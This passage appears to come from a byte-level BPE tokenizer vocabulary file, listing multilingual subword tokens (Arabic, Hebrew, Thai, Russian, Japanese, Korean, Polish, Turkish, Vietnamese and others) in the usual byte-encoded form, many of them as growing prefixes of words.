+Ġznalaz +ĠznalazÅĤ +תר×Ĵ +תר×Ĵ×ķ×Ŀ +ĠÑģнов +ĠÑģнова +ĠÑĩаÑģа +Ġcommunauté +ĠespecÃŃfica +ĠLá»ĭch +Ġlié +ÙģØ¬Ø± +à¹Ģà¸ģà¹Īà¸ĩ +عاÙĦ +عاÙĦج +Ø£ÙĨظ +Ø£ÙĨظÙħØ© +ESİ +ĠاÙĦØŃدÙĬد +à¸ŀระà¸Ńà¸ĩà¸Ħà¹Į +Ġפרשת +Ġдвиж +ĠдвижениÑı +ĠاÙĦجارÙĬ +à¸ĺาà¸Ļี +неÑģен +ĠاÙĦÙĨÙĩائÙĬ +ĠбеÑĢ +ĠбеÑĢем +ĠбеÑĢеменн +Ġdépartement +à¹Ģà¸Ĺีย +à¹Ģà¸Ĺียà¸ļ +ĠÐľÐ°ÑĢи +ĠнекоÑĤоÑĢÑĭÑħ +обеÑģп +обеÑģпеÑĩен +×Ĺ×ķ×ĸ +×Ĺ×ķ×ĸ×Ķ +ÙĨتج +à¸Īะà¹Ħà¸Ķà¹īรัà¸ļ +á»° +Ġéléments +عط +عطاء +Ġtắt +iá»ĩm +ÑİÑīиÑħÑģÑı +ãģĹãģ° +ãģĹãģ°ãĤīãģı +ĠпоможеÑĤ +à¸Ĥà¸ĵะà¸Ļีà¹ī +Ġעשר×ķת +éģķãģ£ãģ¦ +ĠпÑĢог +ĠпÑĢогн +ĠпÑĢогноз +ĠtÅĤ +ĠtÅĤum +ĠtÅĤumacz +Tür +Türkiye +ãģįãģ£ +ãģįãģ£ãģĭãģij +Ġ×Ķ׳×ķ׼ +Ġ×Ķ׳×ķ׼×Ĺ×Ļ +ĠìĥĿìĤ° +ĠÑĦоÑĢмÑĭ +ç¾İãģĹãģĦ +à¸Ľà¸£à¸¶à¸ģ +à¸Ľà¸£à¸¶à¸ģษา +Ġlumière +ãĤªãĥ¼ãĥĹ +ãĤªãĥ¼ãĥĹãĥ³ +à¸Ľà¸·à¸Ļ +วัสà¸Ķ +วัสà¸Ķุ +еÑĢÑĤв +ÙĥÙĦÙģ +ï½£ +à¸ĺรรมà¸Ķา +׳×ĺר +ĠпÑĢедÑģÑĤавлÑıеÑĤ +Ġanálisis +Ġbãi +باÙĤÙĬ +à¸Ľà¸£à¸°à¹Ģà¸Ķ +à¸Ľà¸£à¸°à¹Ģà¸Ķà¹ĩà¸Ļ +ĠÑģлÑĥÑĩаÑı +ĠÑģлÑĥÑĩаÑıÑħ +ÐĽÐIJ +สัà¸ĩà¹Ģà¸ģ +สัà¸ĩà¹Ģà¸ģà¸ķ +Ġprzec +Ġprzecież +ÙħصÙĦ +ÙħصÙĦØŃØ© +ש×ķ×§×ķ׾×ĵ +ĠобоÑĢÑĥдованиÑı +ĠtrwaÅĤ +رÙĪÙħ +ìķĪëĤ´ +ĠNghá»ĭ +خش +à¸ļาà¸Ħาร +à¸ļาà¸Ħารà¹Īา +ĠопÑĨион +ĠÑģозданиÑı +ãĤ³ãĤ¹ãĥĪ +Ġ×Ķ×¢×ľ×Ļ +Ġ×Ķ×¢×ľ×Ļ×ķף +läuft +ãĥĻãĤ¹ãĥĪ +Ġrê +Ġrêve +×IJ×ij×Ļ×ij +×Ļ×Ļ×ļ +ë¶Ļ +ãĤ¤ãĥ³ãĥī +ÅĤoży +ÅĤożyÄĩ +عائÙĦ +عائÙĦØ© +Ø£ÙĪØ± +Ø£ÙĪØ±Ø§ÙĤ +à¸Ĺà¹īà¸Ńà¸ĩà¸ĸ +à¸Ĺà¹īà¸Ńà¸ĩà¸ĸิà¹Īà¸Ļ +Ġähn +Ġähnlich +ãĥŁãĥĭ +à¸ľà¸¹ +à¸ľà¸¹à¹īà¸Ļ +à¸ľà¸¹à¹īà¸Ļำ +ĠмаÑĤеÑĢиалÑĭ +ĠкапиÑĤ +ĠкапиÑĤал +F +Ġseçil +Ġhứng +Ġintéressant +ãģ£ãģ¦ãģĦãģı +ĠeÄŁer +ëIJĺìĹĪìĬµëĭĪëĭ¤ +ĠanlaÅŁma +ãģĶåĪ©ç͍ +Ġ×ij×ĸ׼ +Ġ×ij×ĸ׼×ķת +ëĿ¼ë©´ +ĠÙĬÙĪØ³ +ĠÙĬÙĪØ³Ùģ +أسÙĦØŃØ© +ĠGefühl +ĠноÑĢмалÑĮн +ãĥĻãĥ³ +ãģķãĤĮãĤĭãģĵãģ¨ +ĠÐijеÑģ +ãģ¨ãģĦãģĪãģ° +ĠÙħÙĩÙħ +ĠÙħÙĩÙħØ© +ãģ§ãģĹãĤĩãģĨãģŃ +ĠêµŃëĤ´ +à¹Ģมà¹ĩà¸Ķ +×ŀ×ijקר +ĠاÙĦدÙĨÙĬ +ĠاÙĦدÙĨÙĬا +à¸Ĭู +кÑĢÑĥÑĤ +Ġthoáng +Ġ׳×ĵר +Ġ׳×ĵרש +ĠÑĢаÑģÑģказал +ĠAuÃŁerdem +פ×IJר +פ×IJרק +Ġ×ŀש×Ĺ×§×Ļ×Ŀ +צר׼×Ļ×Ŀ +×ŀ×ĵ×ķ +×ŀ×ĵ×ķ×Ļ×§ +èĭ¦ãģĹ +ĠÑģиг +ĠÑģигнал +ĠMá»įi +Ġtrữ +ĠnastÄĻp +ĠnastÄĻpnie +Ġì¶Ķì§Ħ +ĠاÙĦÙģÙĨد +ĠاÙĦÙģÙĨدÙĤ +koÅĦczyÅĤ +สีà¹Ī +×§×Ļ×ij +×§×Ļ×ij×ķ×¥ +ĠнÑĥжнÑĭ +大åĪĩ +大åĪĩãģª +æıĽãģĪ +ת×ķס +ת×ķספת +ãģ£ãģ¦ãģĦãģªãģĦ +ĠмÑı +ĠмÑıг +ĠмÑıгк +Ġjakie +ĠjakieÅĽ +à¸ķำà¸ļ +à¸ķำà¸ļล +ĠìŀĪì§Ģ +×ij×ĺ×IJ +ĠоÑĤлиÑĩно +ÙĤÙIJ +ĠавÑĤомоб +ĠавÑĤомоби +ĠавÑĤомобилÑı +دÙĬÙħÙĤراطÙĬ +ĠاÙĦÙĪØ§ +ĠاÙĦÙĪØ§ØŃد +ĠسÙĪØ±ÙĬØ© +أغÙĦ +أغÙĦب +ĠÑįкÑĢан +ãĥĹãĥ©ãĤ¤ +ĠjesteÅĽ +ãĥIJãĥª +Ġ×Ķ×IJ×ķ×ķ×Ļר +ائÙĥ +à¸Ńยà¹Īาà¸ĩยิà¹Īà¸ĩ +ÑĢекÑĤ +Ġumo +Ġumoż +Ġumożli +Ġumożliw +Ġumożliwia +Ġnächste +ĠìŀĪì§Ģë§Į +ĠпÑĢедн +ĠпÑĢедназ +ĠпÑĢедназнаÑĩен +Ġmaçı +Ġpomi +ĠpomiÄĻd +ĠpomiÄĻdzy +ĠاÙĦÙĦÙĤاء +à¹Ģà¸Ķà¸Ńะ +ĠновоÑģÑĤи +×ŀ×Ĺ׾×Ķ +رÙĬاضÙĬ +à¸Ķà¸Ļ +à¸Ķà¸Ļà¸ķรี +بصر +ìĬ¤íĥĢ +scripción +Ġnapisa +ĠnapisaÅĤ +Ġ׳ש×ŀ×¢ +ĠاÙĦÙħØŃÙĦÙĬ +Ġhiá»ĥn +×IJ×Ĺ +×IJ×Ĺר×IJ×Ļ +ĠгÑĢаниÑĨ +æīĭç¶ļãģį +Ùĥسب +Ġà¹ģà¸ķà¹Īà¸ĸà¹īา +à¸Ķาวà¸Ļà¹Į +à¸Ķาวà¸Ļà¹Įà¹Ĥหลà¸Ķ +ãĤĭãģĵãģ¨ãģĮãģ§ãģįãģ¾ãģĻ +åŁºæľ¬çļĦãģ« +ÙĪÙĦاد +räume +دÙģØ§Ø¹ +×Ļצע +ĠOczy +ĠOczywiÅĽcie +ĠÅģ +ĠÅģa +اÙĦÙĬاب +اÙĦÙĬاباÙĨ +áºłI +ĠBirliÄŁi +×Ķ×ķצ +×Ķ×ķצ×IJת +ĠÄijua +Ġê·¸ëŁ¬ëĭĪê¹Į +Ġréalité +عÙĦاÙĤات +Jeste +JesteÅĽ +Ġмнож +ĠмножеÑģÑĤво +K +ãĥĹãĥŃãĤ¸ãĤ§ +ãĥĹãĥŃãĤ¸ãĤ§ãĤ¯ãĥĪ +ĠÑĦл +ظÙĨ +×Ĵ׾×Ĵ׾ +ĠmÅĤodzie +ĠmÅĤodzież +à¸Ļà¹īำà¸ķา +à¸Ļà¹īำà¸ķาล +ÐĽÐķ +×ij×ķ×ĺ +Ġ׾×Ķ×Ĵ×Ļ×ĵ +ãģĵãģ¨ãĤĤãģĤãĤĭ +زاد +×ŀ×Ļ×ĵ×¢ +ĠgÅĤównie +ãĥıãĤ¦ +ãĥıãĤ¦ãĤ¹ +бел +Ġétape +ðŁĺĢ +ĠмоделÑĮ +aģını +ש×Ĺ×§ +ש×Ĺקף +Ġniño +à¸Ĭà¹īาà¸ĩ +à¹Ģลีย +ĠÑĦоÑĢме +ĠاÙĦشرÙĬÙģ +ĠÑĥдаÑĢ +arriv +arrivée +ĠmiesiÄĻ +ĠmiesiÄĻcy +ØŃرÙĥ +ØŃرÙĥات +ĠDiá»ħn +ÐĿЫ +ãģ¾ãģ£ãģŁãģı +Ġ×Ļר×ķ×§ +еÑģÑĤеÑģÑĤв +еÑģÑĤеÑģÑĤвенн +Ġê·¸ëŁ¼ +ĠاÙĦÙħتÙĪ +ĠاÙĦÙħتÙĪØ³Ø· +Ġbénéfic +Ġbénéficie +Ġwybra +ĠwybraÄĩ +ĠاÙĦزÙħÙĨ +ĠпÑĢинÑı +ĠпÑĢинÑıл +Ù쨱ØŃ +Ġksz +ĠksztaÅĤ +ĠksztaÅĤt +ק׾×ĺ +×ij×ĵ×Ļקת +Ġgiấ +Ġgiấc +ĠproprietÃł +деÑĢжан +ĠKöln +ĠGüzel +×Ļפ×ķ×Ļ +ĠCuá»Ļc +ÑįÑĤаж +ترÙĥÙĬ +ترÙĥÙĬز +ложений +ĠпÑĥ +ĠпÑĥÑĤи +اختÙĦاÙģ +åĩºãģ¦ãģıãĤĭ +à¸ļุà¸ģ +âĿ¤ +ÑĦан +פש×ĺ +à¸ļัà¸Ļà¹Ģà¸Ĺ +à¸ļัà¸Ļà¹Ģà¸Ĺิà¸ĩ +ĠاÙĦساد +ĠاÙĦسادس +ĠاÙĦÙĤÙĪÙħ +ĠاÙĦÙĤÙĪÙħÙĬ +Ġyönetici +ÙĩÙĪØ§Øª +ÙĩÙĪØ§ØªÙģ +Ġresponsável +ĠподдеÑĢжива +ĠاÙĦسÙĦØ· +ĠاÙĦسÙĦطات +ãģĹãģ¦ãģĬãģı +ãĥļãĥĥãĥĪ +à¸Ľà¸¸à¹Īม +ĠoglÄħda +ÙĨاÙĤ +ÙĨاÙĤØ´ +à¸Ħà¸Ńà¸Ļà¹Ĥà¸Ķ +ĠMüsl +ĠMüslü +ĠMüslüman +ĠMoż +ĠMożna +Ġnumérique +Ġvá»ı +ĠسÙĬتÙħ +ĠyerleÅŁ +монÑĤаж +Ġgoût +ãģ¦ãģĬãĤĬãģ¾ãģĻ +ĠKhánh +Ġедин +ĠединÑģÑĤв +اÙĨØ®Ùģ +اÙĨØ®ÙģØ§Ø¶ +ìĭľíĹĺ +Ġlặng +ĠÑĢолÑĮ +à¸ķัวà¹ģà¸Ĺà¸Ļ +à¸Ħà¹Īาà¹ĥà¸Ĭà¹ī +à¸Ħà¹Īาà¹ĥà¸Ĭà¹īà¸Īà¹Īาย +Ġverfüg +Ġverfügbar +ìĻĶëĭ¤ +ãģĦãģļ +ãģĦãģļãĤĮ +ĠиÑģÑģледованиÑı +меÑīа +×Ķ×Ĺ +×Ķ×Ĺ×ĸר +à¹ģà¸Łà¸Ĭัà¹Īà¸Ļ +تصرÙģ +إرÙĩاب +ĠexercÃŃcio +Ġélev +Ġélevé +สัà¸įà¸įาà¸ĵ +ÃĸZ +ãĥĹãĥŃãĤ° +ãĥĹãĥŃãĤ°ãĥ© +ãĥĹãĥŃãĤ°ãĥ©ãĥł +ĠwewnÄĻtrzn +Ġhenüz +é£Ľãģ³ +à¹Ģà¸Ķà¸Ńรà¹Į +ÑģÑĥж +ÑģÑĥжден +شعÙĪØ¨ +ãģ²ãģ¨ãĤĬ +ĠwyÅĤÄħ +ĠwyÅĤÄħcznie +ĠплоÑħо +ÐĶÐķ +Ầ +ÙģØ¹Ø§ÙĦÙĬ +ÙģØ¹Ø§ÙĦÙĬات +ĠاÙĦعشر +ÑģÑĤÑĥпил +Ġyarg +Ġyargı +нÑİÑİ +×ķ×IJ×ij +Ġuç +Ġuçak +ë²½ +تÙĪÙĤÙĬ +تÙĪÙĤÙĬع +Ġì¤ijìĭ¬ +׳×Ļ×ķ×ķ×ĺ +Ø£ÙĥÙĦ +ç½®ãģĦãģ¦ +éłĤãģį +Ġ×Ķת×ij +Ġ×Ķת×ij×Ļ×¢×Ķ +Ġdürfen +ÙħÙĤاÙĦ +ÙħÙĤاÙĦات +ĠزÙħÙĨ +à¸ŀฤศ +à¸ŀฤศà¸Ī +à¸ŀฤศà¸Īิà¸ģ +à¸ŀฤศà¸Īิà¸ģายà¸Ļ +ĠнеÑģколÑĮ +ĠнеÑģколÑĮки +ĠнеÑģколÑĮкиÑħ +Ġcriança +มิà¸ķร +×ŀ׼×Ļר×ķת +à¸ģารà¸ļริหาร +Ġtélécharg +Ġ×IJ×ķ×Ķ×ijת +ĠBüro +ä½ľãģ£ãģŁ +ĠKiÅŁi +ç¾İåij³ãģĹ +à¹Ģลยà¸Ħà¹Īะ +à¸ŀà¸ļà¸ģัà¸ļ +à¸Īà¹īา +Ġçer +Ġçerç +Ġçerçeve +ãĤĴä½ľãģ£ãģ¦ +ĠпеÑĢвÑĥÑİ +×ŀצר×Ļ×Ŀ +×IJ׾×ķ×Ķ +×IJ׾×ķ×Ķ×Ļ×Ŀ +Ġagré +Ġagréable +Ġayır +İLİ +ãĤ¥ +ĠíĺĦ +ĠíĺĦìĭ¤ +ثاÙĦØ« +ת×ĸ +ת×ĸ×ķ׳×Ķ +ãģ¨ãģĦãģ£ãģ¦ +ãģ¨ãģĦãģ£ãģ¦ãĤĤ +ĠابÙĪ +ĠÑģобак +é£Łãģ¹ãģŁ +Ġданном +à¹Ģลิ +à¹Ģลิศ +Ġíļ +Ġíļ¨ +Ġíļ¨ê³¼ +ãĤĤãĤīãģĪãĤĭ +׳צ׾ +ÑĦик +ÑĦикÑģ +ĠjesteÅĽmy +ת×Ĺ×ķש×Ķ +à¹Ħมà¹Īà¸Ħวร +ĠØŃسÙĬÙĨ +à¸ģารลà¸ĩà¸Ĺุà¸Ļ +ë´¤ +ĠÐĺменно +à¸ļà¸Ńรà¹Į +à¸ļà¸Ńรà¹Įà¸Ķ +ĠCảnh +ìĦľë¹ĦìĬ¤ +Ġполов +Ġполовин +ĠзамеÑĩа +ãģĦãĤįãĤĵãģª +Ġ×ij×Ļ×§ +Ġ×ij×Ļקש +лÑĥÑĪ +ãĤĴè¿İ +ãĤĴè¿İãģĪ +جرÙĬÙħØ© +Ġtây +ĠاÙĦÙĨÙĪ +ĠاÙĦÙĨÙĪÙĪÙĬ +ÃĤN +ì¿ł +หà¸Ļาว +Ġ×ij×Ĺש×ij×ķף +زار +à¸Ķาร +à¸Ķารา +ĠÅĽl +ĠÅĽlub +มีà¸Ħวามสุà¸Ĥ +Ġnhu +ĠnhuáºŃn +ÙħØŃطة +à¹Ģสืà¹īà¸Ńà¸ľà¹īา +ĠТолÑĮко +ĠÙĥس +ĠÙĥسارة +ÙħشرÙĪØ¹ +niÄĻcia +×¢×Ľ×©×Ļ×ķ +تÙĦÙģ +تÙĦÙ쨲ÙĬ +تÙĦÙ쨲ÙĬÙĪÙĨ +ĠlÆ°á»Ľi +ĠÐľÐ¾ÑģквÑĭ +Ġréserve +ĠanlaÅŁ +ĠanlaÅŁÄ±l +ĠedeceÄŁi +รà¸Ńà¸ĩà¹Ģà¸Ĺà¹īา +Ġبط +ĠبطرÙĬ +ĠبطرÙĬÙĤØ© +ãģ¦ãģĹãģ¾ãģ£ãģ¦ +ãĤĤãĤīãģ£ãģ¦ +برج +æ±ļ +æ±ļãĤĮ +Ġchoc +Ġchocia +Ġchociaż +Ġzobac +ĠzobaczyÄĩ +пÑĢÑı +пÑĢÑıжен +ĠÑĨиÑĦ +ĠÑĨиÑĦÑĢ +Ġмам +ĠвзÑıÑĤÑĮ +Ġchạm +جسÙħ +ØŃÙħاس +à¹Ģลà¹Īม +à¸ŀิษ +×Ķפ׼×ķ +à¸Ĭà¹Īà¸Ńà¸ĩà¸Ĺาà¸ĩ +Ġвек +Ġвека +Æ¡Ìģ +Æ¡Ìģi +ĠTiá»ģn +Ġtrầm +мÑĭÑĪ +мÑĭÑĪл +ĠÑĤÑĥ +ĠÑĤÑĥÑĢиÑģÑĤ +Ġchc +ĠchcÄħ +Ġавг +ĠавгÑĥÑģÑĤ +ĠавгÑĥÑģÑĤа +ס×IJ×ķת +Ġר×Ĵ׾ +à¸ľà¸¥à¸ģระà¸Ĺ +à¸ľà¸¥à¸ģระà¸Ĺà¸ļ +å¤īãĤıãĤĭ +Ġ×Ķ×IJ×Ĺר×ķ׳×Ļ×Ŀ +سÙģÙĬر +ĠÑĩаÑīе +ãģĦãĤī +ãģĦãĤīãģ£ +ãģĦãĤīãģ£ãģĹãĤĥ +×ķ×ŀ׳×Ļ×Ŀ +Ġarttır +ĠChá»ĭ +Ġì¡°ì§ģ +ĠÑĥÑģпеÑħ +Ġ×¢×ķס +Ġ×¢×ķסק +ĠìĥĿëªħ +ÑĨиÑĤ +Ġregión +ÐŀÐĿ +ĠdoÄŁum +ĠyaÅŁad +ĠyaÅŁadıģı +à¸Ĺà¸Ķลà¸Ńà¸ĩ +Ġgözü +ש×Ļר×Ķ +дÑĥмал +Ġdaģı +Ġdaģıt +à¸Ĺีมà¸ĩาà¸Ļ +Ġtiá»ģm +ĠاÙĦÙĥبر +ĠاÙĦÙĥبرÙī +ì¹Ń +ĠGünc +ĠGüncelle +ĠGüncelleme +ê¹Ĭ +ĠобоÑĢÑĥдование +ĠÑĢеÑĪа +Ụ +ĠпиÑĤ +ĠпиÑĤаниÑı +à¹Ģรียà¸ļ +×Ľ×ª×Ļ×ij×Ķ +Ġпон +ĠпонÑĢав +ĠпонÑĢави +Ġ×Ķ×ķ׾×ĵ +Ġ×Ķ×ķ׾×ĵת +Ġê²ģ +Ġê²ģëĭĪëĭ¤ +ĠпеÑĢвой +ãĥ©ãĤ¤ãĥķ +ĠÅŁiir +krÄĻ +krÄĻc +Ġthiá»ĥu +à¹Ģลยà¸Ĺี +à¹Ģลยà¸Ĺีà¹Ģà¸Ķียว +×ĺ×¢×ł×ķת +ائÙĩÙħ +Ġ×IJס×ķר +ĠплаÑĤеж +تردد +Ġmożliwe +ĠkhỼ +ĠkhỼp +تÙģØ§Ø¹ÙĦ +ĠÑĪколÑĮ +ĠÑĪколÑĮн +ĠÙĤصة +Ġmétier +nÄĻÅĤa +หลà¹Īà¸Ń +Ġá»§ng +Ġprzegl +ĠprzeglÄħd +ĠاÙĦÙħتعÙĦ +ĠاÙĦÙħتعÙĦÙĤØ© +ĠÑģÑĭн +Ġволн +ãĥĩãĥ¼ãĥĪ +ĠÐŃÑĤи +ĠкÑĢоме +à¸Ħารà¹Į +׳ק×ķ×ĵ×Ķ +Ġ׾ש×ŀ×ķ×¢ +Ġ×ĸ×ķ׼ר +ï¼§ +ÙĬÙİØ§ +Ġgiá»ıi +åĥįãģı +ĠÑģни +ĠÑģнижен +à¹ģà¸Ķà¸Ķ +รุà¸Ļ +รุà¸Ļà¹ģรà¸ĩ +Ġhiá»ĩp +ografÃŃa +à¹Ģà¸Īà¸Ńรà¹Į +Ġдвиг +ĠдвигаÑĤ +ĠдвигаÑĤел +Ġüy +Ġüyeler +Ġüyeleri +ĠбÑĥк +ĠбÑĥкв +ãĤĤå¤ļãģı +Ġthiá»ĩt +ĠPaÃŃs +ĠطبÙĬعÙĬ +à¹ģà¸Īà¸ģ +ĠاÙĦصØŃÙĬØŃ +Ġappré +Ġappréci +Ġdecisión +Ġë°ĺëĵľ +Ġë°ĺëĵľìĭľ +ĠÑĤебе +ãĤ·ãĥ¼ãĤº +ãĤ·ãĥ¼ãĤºãĥ³ +ĠдалÑĮн +ĠìĬ¤ +ĠìĬ¤ìĬ¤ +ĠìĬ¤ìĬ¤ë¡ľ +ĠThá»ĥ +ĠkarÅŁ +ĠkarÅŁÄ±s +ĠkarÅŁÄ±sında +ĠKön +ĠKönig +ивание +×ij×ķצע +глаÑģ +Ġtwó +Ġtwórc +à¸Ľà¸ģà¸Ħร +à¸Ľà¸ģà¸Ħรà¸Ńà¸ĩ +ĠGÅĤ +ĠGÅĤówn +ĠUnterstüt +ĠUnterstützung +ĠдÑĥÑħ +ĠдÑĥÑħов +Ø£ÙħاÙĨ +×Ĺשש +تظ +تظاÙĩر +ĠлÑİбом +à¸ķาร +à¸ķาราà¸ĩ +Ġkról +Ø£ØŃدث +ì¡Įëĭ¤ +ÐļÑĥÑĢÑģ +ãĥĥãĥĦ +×ŀ×§×ķ×ij׾ +ĠÑģимвол +Ġdésorm +Ġdésormais +wüns +wünsche +Ñĥни +ÑĥниÑĨип +ÑĥниÑĨипалÑĮн +หลัà¸ģสูà¸ķร +ÙĨتشر +Ġал +Ġалк +Ġалког +Ġалкогол +ĠÑĥÑĩиÑĤÑĭва +à¸ģำà¸ģัà¸ļ +Ġ×ľ×¤×¢×ķ׾ +ĠìĹ°ê²° +sÄħd +ĠاÙĦØ£ÙĬ +ĠاÙĦØ£ÙĬاÙħ +غÙĬاب +ĠнаÑĢ +ĠнаÑĢко +×ŀ×ķ×ĵ×¢ +ĠÑģеÑĢии +пиÑģÑĭва +สิว +ç¶ļãģĦãģ¦ +çͳãģĹè¾¼ãģ¿ +Ġ׾×Ĵר +Ġ׾×Ĵר×ķ×Ŀ +Ġдем +Ġдемо +Ġë³´ëĤ´ +تÙĩدÙĬد +ĠÙħØ´ÙĬرا +Ġduy +Ġduyá»ĩt +ĠwiÄĻksze +ÙħعاÙĬ +ÙħعاÙĬÙĬر +ĠGda +ĠGdaÅĦsk +Ġrah +Ġrahats +Ġrahatsız +ר×ķצ×Ķ +lös +lösung +ĠТаким +ÑĪед +ÑĪедÑĪ +عزÙĦ +Ġרש×Ļ×ŀת +Ġ׾×Ķ×Ļ׼ +Ġ׾×Ķ×Ļ×Ľ×ł×¡ +ĠпÑĥÑĤ +ĠпÑĥÑĤеÑĪ +ĠпÑĥÑĤеÑĪеÑģÑĤв +ĠnotÃŃcia +ĠalÄ±ÅŁ +ĠalÄ±ÅŁver +ĠalÄ±ÅŁveriÅŁ +ĠwÅĤos +ĠwÅĤosów +Ġبغ +Ġبغداد +Ġveröffent +Ġveröffentlicht +ĠKhá +Ġtán +ëIJĺ기 +Ġ방문 +ÙģÙĬÙĦ +à¹Ģà¸ģิà¸Ķà¸Īาà¸ģ +åı¯æĦĽ +åı¯æĦĽãģĦ +à¸ĸุà¸ĩ +ĠzewnÄĻtrzn +à¸łà¸²à¸©à¸²à¸Ńัà¸ĩà¸ģฤษ +Ġmáxima +Ġulus +Ġuluslararası +Ġ׳×Ķ׳ +à¸Ĥà¹Īาวสาร +ĠìĿĺìĤ¬ +à¹Ģหลืà¸Ńà¸ĩ +ĠدÙĤ +ĠدÙĤائÙĤ +สืà¹Īà¸Ńสาร +먼 +ĠÑģоÑģÑĤоÑıнии +สมาà¸Ħม +á»Ĥ +ĠÐľÐ¾Ñģков +ĠÐľÐ¾ÑģковÑģк +×ŀס×ķ×Ĵ׾ +ãģĭãģĭãĤĬ +ĠTruyá»ģn +à¹ģà¸Ĥà¹ĩà¸ĩà¹ģรà¸ĩ +×ŀ×Ĺ×ĸ×Ļ×§ +à¹Ĥà¸ģà¹ī +ÙĬسر +ìĶ© +×IJ×ķ×§ +×IJ×ķ×§×ĺ +×IJ×ķ×§×ĺ×ķ×ijר +Ġproximité +ÙħÙĨÙĩج +ĠاÙĦجز +ĠاÙĦجزائ +ĠاÙĦجزائرÙĬ +ĠÄIJiá»ĥm +Ġденеж +Ġденежн +ÙģØŃص +Ù쨦 +ĠÐijÑĥд +×Ĵ×Ļ×ĵ×ķ׾ +ĠÐĴедÑĮ +عÙĦاÙħØ© +Ġ×IJ×Ĺר×ķ׳×ķת +ãģĦãģŁãģłãģĦãģ¦ +سÙĦØŃ +ØŃÙĦÙħ +زÙĪØ§Ø± +Ùĥسر +×ĺקס +Ġбан +Ġбанков +ĠпÑĢож +ĠпÑĢожива +liwo +liwoÅĽci +ĠTiếp +ĠاÙĦÙħÙĨاسب +ĠاÙĦØ®ÙĬار +ãģĬãģĭ +ãģĬãģĭãģĴ +à¸Ķà¸Ńà¸ģà¹Ħมà¹ī +ämp +ämpfe +à¸ķัà¹īà¸ĩà¹ĥà¸Ī +ĠзаÑīиÑĤ +ĠзаÑīиÑĤÑĭ +ĠThưá»Ŀng +ĠصÙģ +ĠصÙģØŃØ© +×Ĺ×ķרף +ãĥIJãĥĥãĤ° +Ġ×ĵ×Ļ×Ĵ +Ġ×ĵ×Ļ×Ĵ×Ļ×ĺ +Ġ×ĵ×Ļ×Ĵ×Ļ×ĺ׾×Ļ +Ġ×Ķ×Ĺ×ķ׾×Ļ×Ŀ +веÑī +веÑīа +ĠкÑĥлÑĮÑĤ +ĠкÑĥлÑĮÑĤÑĥ +ĠкÑĥлÑĮÑĤÑĥÑĢÑĭ +ĠاÙĦاÙĨترÙĨت +Ġhöch +Ġhöchst +Ġíĺķ +Ġíĺķíĥľ +Ġвой +ĠвойнÑĭ +ÐĽÐŀ +ìĭłìļ© +Ġ×ŀ×ij×ķס +Ġ×ŀ×ij×ķסס +×ŀ׳×Ļ×¢ +Ġfiyatı +ĠÑģлÑĥж +ĠÑģлÑĥжбÑĭ +à¸Ĺัศ +à¸Ĺัศà¸Ļ +ãģĵãģ¨ãģĮå¤ļãģĦ +Ġ×Ķ×ŀשת +Ġ×Ķ×ŀשת×ŀש +å¯ĦãģĽ +×ŀש׾×ķ×Ĺ +æĻĤçĤ¹ +æĻĤçĤ¹ãģ§ +à¸ŀรี +à¸ŀรีà¹Ģมีย +à¸ŀรีà¹Ģมียรà¹Į +à¸ŀรีà¹Ģมียรà¹Įลีà¸ģ +Ġdifficolt +ĠdifficoltÃł +ãĥ¬ãĤ¹ãĥĪ +ãĥ¬ãĤ¹ãĥĪãĥ©ãĥ³ +สมà¹Ģà¸Ķà¹ĩ +สมà¹Ģà¸Ķà¹ĩà¸Ī +Ġжид +Ġжидк +ĠzupeÅĤ +ĠzupeÅĤnie +ĠÙħجر +ĠÙħجرد +ãģĮå§ĭ +ãģĮå§ĭãģ¾ +ãĤŃãĥ£ãĥ© +Ġ×IJ×ķ×ķ×Ļר +ãģĬäºĴ +ãģĬäºĴãģĦ +ĠpotrÃł +ĠPaÅĦst +ĠPaÅĦstwo +ĠبÙĬاÙĨ +ĠبÙĬاÙĨات +Ġиногда +ĠÑĢа +ĠÑĢаÑģÑĤв +ĠÑĢаÑģÑĤвоÑĢ +Ġ×ĸ×ŀ׳ +ยิà¹īม +ÄĨ +ãģ¾ãģķ +ãģ¾ãģķãģ« +ãĥķãĤ¡ãĤ¤ãĥ« +ĠgördÃ¼ÄŁÃ¼ +สà¸ĩà¸Ħร +สà¸ĩà¸Ħราม +ĠArkadaÅŁ +ĠrozwiÄħzania +×ŀ×ķ×ĺ +piÄĻ +piÄĻt +صغر +สย +สยาม +ãĤĨãģ£ãģıãĤĬ +Ġtrần +ĠeconomÃŃa +Ġgehören +ãĤ·ãĥ§ãĥ¼ +ĠsÅĤucha +à¸ŀà¸Ńà¹ĥà¸Ī +ĠоÑĤмеÑĤил +ÙĨتÙĤÙĦ +Ġpropósito +ĠваÑĪего +Ġnhắn +à¹ģà¸ĸว +ĠкомиÑģ +ĠкомиÑģÑģи +ważnie +ĠyavaÅŁ +×ŀ×Ļ×§ +×ŀ×Ļ×§×ķ×Ŀ +ש×IJ×ľ×ª +Ġyıllarda +ĠЮ +ĠЮÑĢ +×ł×¡×Ļ×ij×ķת +תצ +תצ×ķ×Ĵ +ĠоднÑĥ +Ġà¸Ńยà¹Īาà¸ĩà¹Ħร +Ġà¸Ńยà¹Īาà¸ĩà¹Ħรà¸ģà¹ĩà¸ķาม +ëģ¼ +à¹Ħลà¹Ī +تسÙĦÙĬÙħ +بÙĦاغ +Ġìī +Ġìī½ +Ġìī½ê²Į +ãĥļãĥ³ +звÑĥÑĩ +ĠWäh +ĠWährend +Ġ×Ļ×Ļת +Ġ×Ļ×Ļ×ª×Ľ×Ł +Ġkhuyên +Ġvẽ +ĠамеÑĢ +ĠамеÑĢик +ĠамеÑĢикан +ĠамеÑĢиканÑģк +عجب +ãĥĽãĥ¼ãĥłãĥļãĥ¼ãĤ¸ +ĠникÑĤо +ĠÙĤÙİ +ĠÙĤÙİØ§ÙĦ +ĠÙĤÙİØ§ÙĦÙİ +ÐIJÐĹ +ÙħجÙħÙĪØ¹ +ÙħجÙħÙĪØ¹Ø§Øª +ĠnecessitÃł +Ġpobli +Ġpobliżu +Ġphấn +ĠСообÑī +ÙħÙĤاط +ÙħÙĤاطع +Ġ×Ķצ×ķר×ļ +laÅŁtırma +วิà¸Ķ +วิà¸Ķี +วิà¸Ķีà¹Ĥà¸Ń +Ġ그리ìĬ¤ +Ġ그리ìĬ¤ëıĦ +ãĤ¿ãĤ¤ãĥŁ +ãĤ¿ãĤ¤ãĥŁãĥ³ãĤ° +×§×ĺ×Ĵ×ķר +×§×ĺ×Ĵ×ķר×Ļ×Ķ +Ġ×Ĺ×ķפ +Ġ×Ĺ×ķפש×Ļ +أجر +Ġимени +ĠÑĢанее 